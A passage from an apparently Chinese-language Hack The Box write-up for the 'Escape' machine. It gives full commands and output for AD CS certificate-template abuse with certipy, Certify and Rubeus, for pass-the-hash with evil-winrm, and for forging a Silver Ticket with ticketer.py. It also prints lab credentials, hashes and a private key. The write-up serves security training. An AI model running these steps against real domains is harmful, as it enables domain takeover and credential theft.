      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
      Allow  ManageCA, ManageCertificates               sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : dc.sequel.htb\sequel-DC-CA
    Template Name                         : UserAuthentication
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Domain Users           S-1-5-21-4078382237-1492182817-2568127209-513
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
        WriteOwner Principals       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519



Certify completed in 00:00:10.7916004
```

这里的危险在sequel\Domain Users拥有证书注册权限(这是Certify README文件中的场景3)

#### 滥用模板
#### 方法1: certipy

确实可以看到，实际上存在一个名为UserAuthentication的易受攻击的模板。特别，可以看到经过Authenticated Users可以注册此模板，并且由于msPKI-Certificate-Name-Flag存在并且包含ENROLLEE_SUPPLIES_SUBJECT，因此该模板容易受到[Investigating Certificate Template Enrollment Attacks – (ADCS)](https://m365internals.com/2022/11/07/investigating-certificate-template-enrollment-attacks-adcs/)攻击。本质上讲，这允许任何人注册该模板并指定任意主题替代名称。这意味着，可以通过利用此攻击路径作为域管理员进行身份验证。

为了利用这一点，使用[certipy](https://github.com/ly4k/Certipy)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ntpdate -u dc.sequel.htb
2023-06-19 09:28:43.681199 (-0400) +1.777965 +/- 0.337931 dc.sequel.htb 10.10.11.202 s1 no-leap
CLOCK: time stepped by 1.777965

┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target sequel.htb -ca sequel-DC-CA -template UserAuthentication
Certipy v4.4.0 - by Oliver Lyak (ly4k)op

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 13
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

 - 注意: 如果出现"The NETBIOS connection with the remote host timed out."错误。请重新执行命令

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape5.png)

现在有了administrator的证书，可以再次使用certipy来获得Ticket Granting Ticket (TGT)，并提取该用户的NT hash。由于这一步需要一些Kerberos交互，因此需要将时钟同步到远程机器的时间，然后才能继续。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# certipy auth -pfx administrator.pfx
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape6.png)

最后，可以通过WinRM PTH并作为管理员用户进行身份验证。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ls
 administrator.ccache   administrator.pfx   Certify.exe  'SQL Server Procedures.pdf'

┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# evil-winrm -i sequel.htb -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
427e2e823cf867a7a25b8f6d9943be9b
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape7.png)

#### 方法2: Certify + Rubeus

可以继续使用README场景3，接下来运行Certify.exe以请求具有管理员替代名称的证书。它返回一个cert.pem:

``` bash
*Evil-WinRM* PS C:\programdata> .\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Request a Certificates

[*] Current user context    : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.

[*] Template                : UserAuthentication
[*] Subject                 : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName                 : administrator

[*] Certificate Authority   : dc.sequel.htb\sequel-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 14

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAtBgKNxFL7Q800mUoE7O8f2n5A28GL72XmJlDeeSxuKac7SoO
ovM9OwUSFfZeLYp/NJgCvDNq7eouR9A/yT22e5KJP6O9v3DmYwWzR2LgzxPsF9A/
XIHWP8jWj+HIoFecwuPWnyoDbHd57vLv8qwpbjavPXrESTuCbQguCwGXPT8mSTsN
SWrWOCizxlOVTL1n2ro9Wdux9BThrhHg9v/G5SWqv2MQGlvr/5fuS/jzvNs6BLIA
FajSi7XchQSBuptp5wQsHkNIkQfA6H64AAxLFtBjUMTEI5bdMLNMZcTQ9DedaaWo
yT9TDEdwoUFi9PC5J7WVn+2+IVDr6CRdhF8aAQIDAQABAoIBAQCf6PipDOKuC+KL
Lub3F5E4UZCaS+riWSZSiUQw57AmlUqiC8YTSogD7+yvM6NMLL3mpVNIaR95QYb2
nSMGPZXbA7J6n5nMcyMeqeEWceXL+ZSZUH/yVBc5a8uY1pKeTS0Un9niWhvQJAZQ
9cW5ZMUk58mSfX/sxrp4tdqsSy1PY1X6qd7fojql0GvIHQAKWaDsziyfaevWV6I6
evBwwVLhu7ZsZPwCFN9SoDs281FNYWGSA2fBVoTPtT/sz3gLouugZ3+k+Epx/HLM
vAdDSWCSsDYkzPlAOtw8wroHqUA8pEKfzk32iOqO5odOREdhWdtjpPKIkjl1Pgld
Sv4NA81BAoGBANYJAHp4NyRGCmS+NfoXNDChmCEoVd1clroC3om9w/HFqgRB/xQW
6VjzwsStjn82j/tzDWd/BA/JTUMP+syy8H4HemBqQd+Aru0/fX92QFNLsCUBba3Y
nTktRgwA+iYiSFnUtS6OIWj/1osXsLs0LBesiC07kjefPpljBfv+GHC/AoGBANdn
b3aMx77cmfkNARA7Q+eWHoyc+dmolOxAk18yQfCzlbpxufYR34dCLIXvlEyunUAs
Q0b8/rBuZE6yRyJdEe/e5BpXey8E6fH09U7Ipm8wMv+AhweYGhrdWgF959fpoq93
3XuMCEzoreU8Fm/7LzZKrcSKWI9qG1aNecPAIGU/AoGAXqNoVL6nEyDtI5J/Z2+v
IfmxvKeLH+/6rZDrOVhxNYxDGtLbqNRgpXZTHofnRBSqIXLD8IlXEGvf/9EnAi/0
6qT/1XXmXp8Vuc2i/iMZWjtTTWmOR5pKGqgMGu6rrQTnnODSpB0wZK8K/EGjYYM2
I9mj9OwsQO/mzAfe84ds4x0CgYBUfvKuYlMIf6i2lW9RWq4sbirVpc4sn4CrnDkz
IpfTP98AIBR+fkxc1ox4jZ5y5hwxTCun8R5HP0aByFU3GaMroReBbceYjijnDNwd
Z4BCJXob1+MgC35SA3qHE0ia3b8/bZmoGSo4YR21ynhSvQmsFmdLralHuKu4rA6T
xw3uKQKBgGuPZ6mecgQxTCFA2qOKsDuHHvwAcBCD6OpvCbc503HHiz483JOGD/kR
HmmUWE+qtk2/6MwJoalIGpcG0AqDPnRvQzIpUsYcbWjfXau88IztpUc9GAcdZlxD
vj3SOtueUwokYTFHdj0QrI34MIk9oauGdPPEAdVsNcq4GGFNcXeh
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAA5SZbT/DsiCAwAAAAAADjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNjE5MTM0MDUzWhcNMjUwNjE5
MTM1MDUzWjBTMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYG
c2VxdWVsMQ4wDAYDVQQDEwVVc2VyczEUMBIGA1UEAxMLUnlhbi5Db29wZXIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC0GAo3EUvtDzTSZSgTs7x/afkD
bwYvvZeYmUN55LG4ppztKg6i8z07BRIV9l4tin80mAK8M2rt6i5H0D/JPbZ7kok/
o72/cOZjBbNHYuDPE+wX0D9cgdY/yNaP4cigV5zC49afKgNsd3nu8u/yrCluNq89
esRJO4JtCC4LAZc9PyZJOw1JatY4KLPGU5VMvWfauj1Z27H0FOGuEeD2/8blJaq/
YxAaW+v/l+5L+PO82zoEsgAVqNKLtdyFBIG6m2nnBCweQ0iRB8DofrgADEsW0GNQ
xMQjlt0ws0xlxND0N51ppajJP1MMR3ChQWL08LkntZWf7b4hUOvoJF2EXxoBAgMB
AAGjggLsMIIC6DA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiHq/N2hdymVof9
lTWDv8NZg4nKNYF338oIhp7sKQIBZAIBBTApBgNVHSUEIjAgBggrBgEFBQcDAgYI
KwYBBQUHAwQGCisGAQQBgjcKAwQwDgYDVR0PAQH/BAQDAgWgMDUGCSsGAQQBgjcV
CgQoMCYwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwQwDAYKKwYBBAGCNwoDBDBEBgkq
hkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwBwYF
Kw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFIiQhwSuIlv/oasHyBsBGTf3BqYO
MCgGA1UdEQQhMB+gHQYKKwYBBAGCNxQCA6APDA1hZG1pbmlzdHJhdG9yMB8GA1Ud
IwQYMBaAFGKfMqOg8Dgg1GDAzW3F+lEwXsMVMIHEBgNVHR8EgbwwgbkwgbaggbOg
gbCGga1sZGFwOi8vL0NOPXNlcXVlbC1EQy1DQSxDTj1kYyxDTj1DRFAsQ049UHVi
bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
bixEQz1zZXF1ZWwsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFz
ZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBvQYIKwYBBQUHAQEE
gbAwga0wgaoGCCsGAQUFBzAChoGdbGRhcDovLy9DTj1zZXF1ZWwtREMtQ0EsQ049
QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNv
bmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/
b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
AAOCAQEACoeksTIvAowxHwtFJL0lrLwnrpkKCs8AWwsSKPSmXQ2uEHPkr/IRFNCq
SMbwjEM411Dkhl/DHi92ru0fjLyZNTQCa6EGB9EgHfUkcclQpp28/F9idCO750FR
dWqVnth+wEnhdyndqFNUJcFZk3U8T9YQpGqBFfLH3NhuXdKRJOktWXQgvT0lSoXZ
Pwkxol0qB9RDdp3CI53RFdRE2wfbfdrtNJp3Rpja7IuaqWG/KFEpOhbdMJIc9VQN
z2A0fkTicxgKpAmL+Pdw3TfV6LTCW4KctCPOKi7mTvGpB+VF70AaCtEFbYrtsHSB
1cIrahApSyz9AAknrpE32s8r8tshIw==
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:14.7055362
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape8.png)

README和输出的末尾都显示了下一步。把从-----BEGIN RSA PRIVATE KEY-----到-----END CERTIFICATE-----的所有内容复制到kali的主机上的一个文件中，并使用给定的命令将其转换为.pfx，在提示时不输入密码:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:

┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ls -la cert.pfx
-rw------- 1 root root 3425 Jun 19 09:52 cert.pfx
```

上传cert.pfx和Rubeus.exe，以及[Rubeus](https://github.com/GhostPack/Rubeus)(从[SharpCollection](https://github.com/Flangvik/SharpCollection)下载)，然后运行asktgt命令，将证书传递给它以administrator身份获得TGT:

``` bash
*Evil-WinRM* PS C:\programdata> upload cert.pfx

Info: Uploading /root/hackthebox/machine/escape/cert.pfx to C:\programdata\cert.pfx

Data: 4564 bytes of 4564 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\programdata> upload Rubeus.exe

Info: Uploading /root/hackthebox/machine/escape/Rubeus.exe to C:\programdata\Rubeus.exe

Data: 563200 bytes of 563200 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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

  ServiceName              :  krbtgt/sequel.htb
  ServiceRealm             :  SEQUEL.HTB
  UserName                 :  administrator
  UserRealm                :  SEQUEL.HTB
  StartTime                :  6/19/2023 7:08:43 AM
  EndTime                  :  6/19/2023 5:08:43 PM
  RenewTill                :  6/26/2023 7:08:43 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable
  KeyType                  :  rc4_hmac
  Base64(key)              :  NGN8YkXjv+npWzE3glTOrg==
  ASREP (key)              :  15BE0183651E57504615199D79D431BA
```

然而，Rubeus试图将返回的票证直接加载到当前终端中，所以从理论上讲，一旦运行它，就可以进入administrator的文件夹并获得flag。然而，这并不适用于Evil-WinRM。

相反，使用/getcredentials /show /nowrap运行相同的命令。会转储有关该帐户的密码凭证信息

``` bash
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx /getcredentials /show /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGSDCCBkSgAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoQwbClNFUVVFTC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCnNlcXVlbC5odGKjggUaMIIFFqADAgESoQMCAQKiggUIBIIFBCJSxtC5o9y17/VE/TeFb4l6zQ2vFF9kH5/8Z4r3cvXEAe2+cASGIRDWYAv39zTABnVielm4f6Z8VDt2mJ7EKeB93zdbUXuPWH3xr9mSci7+SRMY+BFBwXAlq0X0+VSl+eTvB26Ts0t+hteCM1PSOiDxKnAcYQDYnRdbyIHG+Wm0oGIeHKF421rcBxZf1L72hizhqaD/PDk7IeWBLgzE/nYjxECyH4W+xKWM1h1kla8zQFKzi0eK982U4EHCPYBqDRtVJaZV3nAYOWZEb5xYOybivA2Rmf8BdnaTEUOo5iMeF28EntY18foFjWUVH3ynsNmVwPLXfnhi2pW0n1pu8Hp6fc/LYyJ/JPHi5LJJ1/yv5VI2W3bEDxTbawHH7+8LHzhTIwu/cBd8ze3F8v05macnjgH+c/4cJq3+Iq2qMl5I7HJ01GNqrn1QUIXzKm54Rt4MD2rmODYwDvJ0BtKfzLvRhHQnVsOcB4thmnpn4EI1itfMoUz9Fe6n4UXYbG2ykMR+nDO0p1KbnddUMDYk2fKgWADLyUl83b8OqVxLg23SbuAh1YpQwdC9Ix9zk5Gqf8FH5FEVCikNbVX/TGpSPdpJqeqsq4X6ajSw/Rfz3kByqGcHZCqOuF4A0MOOLSDOpc7V5nTcdyo3U0wQDz9hY//sCnzo1JdEzDbQrY9Mmib/vNjYhdI8q8ROpfDbQ47SLpSrznGY62Sxp5YVlI1ORh7EeCYHICvUlLY0pzQHS43HqLlYMiyEvBpjd72YMToMcDtJwYP8RsAPiX6CbWBacXXAHck65vyRaIZKgsmajC211qn6QZ7jq/7BokLUPts+FF20JtI02aOyiHiIHDKqHShC4wiathXEv7tgf0jy8X6RjHhpdZtTDk16ifkPzAdQRDpKF+BUKJ20XBahjSKGz0ZbZ9cqYnnCyatLpIo9uPeasPHmaEnAH1z5wiNFloX1mT40EyBz2fJXZiR+DYVvryoCUs3br8SVs3Ukwvtd4R9AmzKOg01UPIfsh5KtliNRBn+z9QwK+TPBMLXaWtGpOT/AWWk67n8sINXVC8/7gNVs1VNVSulzk/N4yPP7BKY6OofrZazBCWQ7k7MVxx5yiH36xupU8r6cXyQyv3TfeCvPe+jqX9auUFkHSIZL4is7YxRJuk7TpTvzMaYhNcpT9lD9aKAhr2XxAqV7htcM1SCnOHNVphWoxP0fDPuHJ04yFwrCzZbIsoACCAHFRKAb2tSOjhP/LEidrJnzr9rGsLlGg97OSsKi5yohVSuHi7RxcIgxQFYsM7f362aYWvq+Kaa5acyqRpLN42bl3Qz8KHPNGaHaDxaPnZtTZ2TtLBsHSy54eMLpZn6VuhiC/2veEL1ZNak8rDu0PwUsyOLmXwJ5FmnYSVh21xlX/UbzzAThkkRBjCMvPVaxGp5nH4njqVkE5C1x6EbJyjtOJ8q0mNZeV9B3MY8QU2tWe3TWpdc6tLIqLxDxoPJjswWRDIalq9twNLVo8sLy7qhYkDpNfag4iBvPzM8pr3ZOKZD2gIgjCutu5RNo+yKjzEfbYn28EqEEwchSktwyp4+NsaD2dO6mbwASZKmHNfTIZyZUnTy7ZiWtBjbU3Vfscx0vo36mYOc9GQjrn2gIKEcZcnUqzppdTvfDxwZSbdTeM4Rkqxa+4VxSxB0yozQmGP7Bu5EEx/1M6vPwnfDEyZDj14xskaiHDnDo2qOB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oBswGaADAgEXoRIEEKrGB6jcO8HYkglfMHXKt42hDBsKU0VRVUVMLkhUQqIaMBigAwIBAaERMA8bDWFkbWluaXN0cmF0b3KjBwMFAADhAAClERgPMjAyMzA2MTkxNDEwMzJaphEYDzIwMjMwNjIwMDAxMDMyWqcRGA8yMDIzMDYyNjE0MTAzMlqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg==

  ServiceName              :  krbtgt/sequel.htb
  ServiceRealm             :  SEQUEL.HTB
  UserName                 :  administrator
  UserRealm                :  SEQUEL.HTB
  StartTime                :  6/19/2023 7:10:32 AM
  EndTime                  :  6/19/2023 5:10:32 PM
  RenewTill                :  6/26/2023 7:10:32 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable
  KeyType                  :  rc4_hmac
  Base64(key)              :  qsYHqNw7wdiSCV8wdcq3jQ==
  ASREP (key)              :  0A4A84695595EA2E6C8D156B44ABB6E5

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE
```

最后一行是管理员帐户的NTLM hash。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape9.png)

#### Silver Ticket
#### 背景
#### Escape "非预期"

在Escape中有一条涉及Silver Tickets的攻击路径。这个路径是在HTB测试中检测到的，但是team和box作者决定保留它，因为在这个场景中没有好的方法来修复，并且这个攻击路径被评估为更难发现，并且和预期的攻击路径一样困难。

#### Silver Tickets

Silver Tickets 攻击详细介绍[How Attackers Use Kerberos Silver Tickets to Exploit Systems](https://adsecurity.org/?p=2011)

 - [Silver Ticket Attack](https://www.netwrix.com/silver_ticket_attack_forged_service_tickets.html)

通常，想对MSSQL进行身份验证时，为服务原则名称(SPN)请求Kerberos票据。该请求转到密钥分发中心(KDC)(通常是域控制器)，在那里查找与该SPN关联的用户，检查被请求的用户是否应该具有访问权限，经过几轮通信后，返回用户的票据，并用服务帐户的NTLM hash对其进行加密。现在，当用户将该票据提供给服务时，服务可以将其解密并将其用作身份验证。

在银票攻击中，所有与DC的通信都被跳过。攻击者伪造服务票证(也称为TGS)，并用服务帐户的NTLM对其进行加密。

#### Escape的攻击策略

有sql_svc帐户的NTLM hash。MSSQL服务没有分配SPN(如果分配了SPN，可以要求DC生成一个用sql_svc的hash加密的服务票据，然后对其进行修改)。不过，不需要DC。可以使用Impacket工具在本地伪造一个服务票据，用sql_svc的NTML hash加密它，然后连接到MSSQL。这个票据将不能在任何其他服务上工作，但将能够在MSSQL上模拟任何用户。

#### 信息收集
#### 概述

为了生成一张银票，使用ticketer.py，需要以下信息:

 - sql_svc的NTLM hash
 - 域SID
 - 域名
 - SPN(不一定是有效的SPN)
 - 要模拟的用户的名称

现在已经有了sequel.htb的域名。

#### NTLM Hash

已经获得了sql_svc的密码，但是需要NTLM hash。有很多在线工具可以计算[NTLM Hash Generator](https://codebeautify.org/ntlm-hash-generator)。

可以使用Python，使用hashlib, NTLM是一个MD4具有UTF-16小端编码的密码:

``` bash
>>> import hashlib
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest()
b'\x14C\xec\x19\xdaM\xacO\xfc\x95;\xca\x1bW\xb4\xcf'
```

使用hex()打印:

``` bash
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest().hex()
'1443ec19da4dac4ffc953bca1b57b4cf'
```

#### Domain SID

[Get-ADDomain](https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-addomain?view=windowsserver2022-ps)返回关于域的信息，包括SID:

``` bash
*Evil-WinRM* PS C:\programdata> Get-ADDomain | fl DomainSID
DomainSID : S-1-5-21-4078382237-1492182817-2568127209
```

#### Silver Ticket
#### 生成

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -spn doesnotmatter/dc.sequel.htb administrator
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrator.ccache
```

它计算必要的信息并将TGS保存在administrator.ccache中。使用KRB5CCNAME环境变量告诉系统使用该服务票证进行身份验证。可以通过运行export KRB5CCNAME=administrator来完成。通过包含KRB5CCNAME=administrator。在每个命令之前使用ccache(使用它来显示使用它的位置)。

#### 连接

